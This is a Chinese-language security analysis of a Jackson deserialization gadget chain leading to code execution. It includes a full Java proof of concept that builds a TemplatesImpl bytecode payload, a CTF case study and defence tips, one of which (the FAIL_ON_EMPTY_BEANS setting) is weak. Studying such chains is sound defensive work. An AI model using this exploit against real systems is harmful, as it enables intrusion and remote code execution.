Jackson反序列化触发Getter方法漏洞分析
前言
本文详细分析Jackson库中存在的原生反序列化触发任意类getter方法的安全漏洞,该漏洞与FastJSON中的类似漏洞原理相似但实现方式不同。通过分析漏洞原理、利用链构造和实际CTF题目案例,深入理解该漏洞的利用方式。
Jackson基础知识
Jackson是一个流行的Java JSON处理库,与Spring Boot紧密结合。在序列化过程中,Jackson会调用对象的getter方法来获取属性值。
序列化调用流程
Jackson将对象序列化为JSON字符串的主要方法是ObjectMapper#writeValueAsString,调用栈如下:
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)
关键方法分析:
-
DefaultSerializerProvider#serializeValue:通过findTypedValueSerializer从缓存中获取序列化器,如果没有则创建并缓存。对于POJO对象,会获取BeanSerializer类。 -
BeanSerializer#serialize:构造JSON字符串,先写入{,然后处理Bean对象属性值,最后写入}。 -
BeanSerializerBase#serializeFields:处理Bean类中所有属性的写入,最终会调用对应属性的getter方法进行赋值。
漏洞利用链构造
利用链的核心思路是:通过反序列化触发toString()方法,进而触发Jackson的序列化流程,最终调用任意getter方法。
关键利用链
BadAttributeValueExpException#readObject
-> POJONode#toString
-> getter
为什么选择POJONode类?
POJONode继承自BaseJsonNode,但没有重写toString()方法BaseJsonNode的toString()方法调用链:toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsStringwriteValueAsString方法会触发目标对象的getter方法
完整POC代码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xx");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object)ois.readObject();
注意事项
-
序列化问题:
POJONode的父类BaseJsonNode实现了writeReplace方法,在序列化过程中会抛出异常导致序列化中断。解决方法是通过反射删除该方法。 -
依赖问题:Jackson通常作为Spring Boot的默认JSON处理器存在,无需额外依赖。
其他可能的Gadgets
-
替代POJONode:理论上任何继承
BaseJsonNode且未重写toString()方法的类都可以替代POJONode,但实际可用的类较少。 -
替代BadAttributeValueExpException:如果
BadAttributeValueExpException等触发toString()方法的类被禁用,可以寻找其他调用writeValueAsString方法的类。
实际CTF案例分析
参考题目:阿里云CTF - bypassit1
题目特点:
- 直接反序列化请求体数据,无任何过滤
- 依赖仅包含
spring-boot-starter-web:2.6.11,内置Jackson - 利用上述漏洞链实现RCE
防御措施
- 避免反序列化不可信数据
- 使用
@JsonIgnore注解标记敏感getter方法 - 配置
ObjectMapper禁用某些特性:objectMapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, true); - 更新到最新版本的Jackson库
总结
Jackson的反序列化getter触发漏洞通过精心构造的利用链,可以在特定条件下实现任意代码执行。理解该漏洞需要掌握Jackson的序列化流程、Java反序列化机制以及类继承关系等知识。在实际开发中,应当避免直接反序列化不可信数据,并合理配置JSON处理器。